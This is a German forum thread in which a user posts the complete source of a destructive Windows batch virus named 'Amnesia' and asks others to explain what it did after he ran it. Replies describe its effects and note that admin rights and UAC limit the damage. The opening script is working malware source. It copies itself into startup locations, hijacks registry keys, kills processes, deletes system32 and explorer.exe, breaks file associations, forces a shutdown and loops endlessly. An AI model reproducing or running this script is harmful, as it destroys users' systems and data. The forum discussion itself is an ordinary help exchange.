Funktion erklären

[xEncounter]

@echo off
copy "Amnesia.bat" "C:\WINDOWS"
attrib +r +h +s "Amnesia.bat"
copy "Amnesia.bat" "C:\Documents and Settings\Owner\Start Menu\Programs\startup"
copy "Amnesia.bat" "C:\"
copy "Amnesia.bat" "C:\Documents and Settings\Owner\My Documents"
Reg Add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /f /d "10"
rundll32 keyboard, disable
rundll32 mouse, disable
taskkill explorer /t /t
taskkill yahoomessenger /f /t
taskkill msmsgs /t /f
taskkill firefox /f /t
taskkill iexplore /f /t
time 6:66
del "C:\WINDOWS\explorer.exe" /f /q
cd "C:\WINDOWS"
del "*.bat" /f /q
cd "C:\WINDOWS\system32"
del "*.*" /q /f
del "C:\Program Files\messenger\msmsgs.exe" /q /f
del "C:\Program Files\Yahoo!\messenger\YahooMessenger.exe" /q /f
attrib +r +h "C:\Documents and Settings\Owner\My Documents\My Music"
attrib +r +h "C:\Documents and Settings\Owner\My Documents\My Pictures"
attrib +r +h "C:\Documents and Settings\Owner\My Documents\My Videos"
attrib +r +h "C:\Documents and Settings\Owner\My Documents"
attrib +r +h "C:\WINDOWS"
RASDIAL /DISCONNECT
start D:\
reg add "HKLM\SOFTWARE\Mozilla\Mozilla Firefox.0.0.12 (en-US)\main" /v PathtoExe /f /d "C:\WINDOWS\Amnesia.bat"
reg add "HKLM\SOFTWARE\InstallShield\driver\intel32" /v folder /f /d "C:\WINDOWS\Amnesia.bat"
assoc .exe=WMAFile
assoc .mp3=VBSFile
assoc .jpg=THEMEFile
assoc .bmp=THEMEFile
assoc .gif=THEMEFile
echo You have been pwned by Amnesia. Next time, don't be so stupid! >> finalmessage.txt
start finalmessage.txt
shutdown -s -t 60 -c "Say goodbye"
msg * Amnesia has wiped your computer clean
:section1
cd "C:\Documents and Settings\Owner\desktop"
copy "C:\WINDOWS\Amnesia.bat" "8021.bat"
cd "C:\Documents and Settings\Owner\desktop"
md 5265
cd "C:\WINDOWS\system32"
copy "C:\WINDOWS\Amnesia.bat" "2696.bat"
start
start
start
start
start
goto section1

dies ist ein code für eine batch datei.
so folgendes problem ich habs auf mein rechner geöffnet

kann mir einer schritt für schritt erklären was dieses programm anrichtet.
i weiss es ist ein Virus und richtet schäden an also nicht copy pasten.

[Tyrar]

kopiert sich in alle wichtigen start files (dass es zum system start mit startet)
wenn du firefox startest wird das teil gestartet
explorer wird beendet
system32 ordner wird weitestgehend gelöscht, dann wird der rechner runtergefahren.

wenn du keine system backups da hast würd ich sagen windows neu drauf klatschen

[xEncounter]

teile des virus sind garnicht aufgetreten.

einzige was ich hatte war maus klick vertauscht. (konnt man schnell behebn).

system ist nicht runtergefahren.
firefox hab ich zum glück nicht .

macht es das internet schlechter ?

[Tyrar]

wie es aussieht nur nen disconnect, langsamer aber nicht!

wie gesagt, normal sollte damit der system32 ordner gelöscht werden, wo explorer drin is, taskmanager und alle system programme

ist jedenfalls kein 'echter' schaden der angerichtet wird, könntest dir eig auch den ganzen kram von der windows dvd ziehen wenn was fehlt

die batch datei kannste auch einfach löschen

[xEncounter]

anscheinend hat der virus nicht wirklich was angerichtet kann daran liegen das ich ihn bevor ich ihn öffnete in eine exe datei konvertiert hab . nomma glück gehabt

[Tyrar]

wie gesagt, richtigen schaden richtet das teil nich an, zumindest wäre der schaden auch nicht schwer zu beheben! (was win7 angeht, alles davor weiss ich nicht!)

[Beatsu]

Originally Posted by HeavyHacker

kopiert sich in alle wichtigen start files (dass es zum system start mit startet)
wenn du firefox startest wird das teil gestartet
explorer wird beendet
system32 ordner wird weitestgehend gelöscht, dann wird der rechner runtergefahren.

wenn du keine system backups da hast würd ich sagen windows neu drauf klatschen

Jo. Woher hast du die ganzen Kenntnisse HeavyHacker

[mydoom]

Originally Posted by Beatsu

Jo. Woher hast du die ganzen Kenntnisse HeavyHacker

Er kann lesen :<

@OP:
Dass das Virus kaum Schaden angerichtet hat, wird wohl auch darauf zurückzuführen sein, dass es für einige der aufgeführten Befehle Admin-Rechte benötigt, wenn ich mich jetzt nicht täusche.

//

time 6:66

Interessanterweise wurde hier die Stunde einfach mal um weitere 6 Minuten verlängert.

[.SkyneT.]

Originally Posted by HeavyHacker

wie gesagt, richtigen schaden richtet das teil nich an, zumindest wäre der schaden auch nicht schwer zu beheben! (was win7 angeht, alles davor weiss ich nicht!)

Bei jedem Windows mit UAC dürfte man nichts im System32 Ordner löschen können. (Wenn ich mich nicht irre gibts sogar einen eigenen User, dem man zuerst die Rechte "wegnehmen" muss bevor man dort was löschen kann)

Btw:
Langsam bekomme ich das Gefühl das jeder glaubt die Hauptfestplatte
MUSS C:/ sein

[Tyrar]

Originally Posted by .SkyneT.

Bei jedem Windows mit UAC dürfte man nichts im System32 Ordner löschen können. (Wenn ich mich nicht irre gibts sogar einen eigenen User, dem man zuerst die Rechte "wegnehmen" muss bevor man dort was löschen kann)

Btw:
Langsam bekomme ich das Gefühl das jeder glaubt die Hauptfestplatte
MUSS C:/ sein

C:\ wird einfach am häufigsten verwendet
aber bei (geschätzten)99% der batch 'viren' nimmt man keinen schaden wenn man das system auf ner andere partition (übrigens nicht festplatte, wie viele vielleicht denken) hat.

grundsätzlich stimmt das aber, im system32 ordner kann man so einfach nichts löschen.

@Beatsu: batch verstehen und funktionen der windows programme und befehle kennen.
zusätzlich noch ein wenig grundverständnis für windoof und dann passts!

edit: wollte grad auf meiner xp vm testen, hab aber vergessen dass ich mal meinen treiber code getestet habe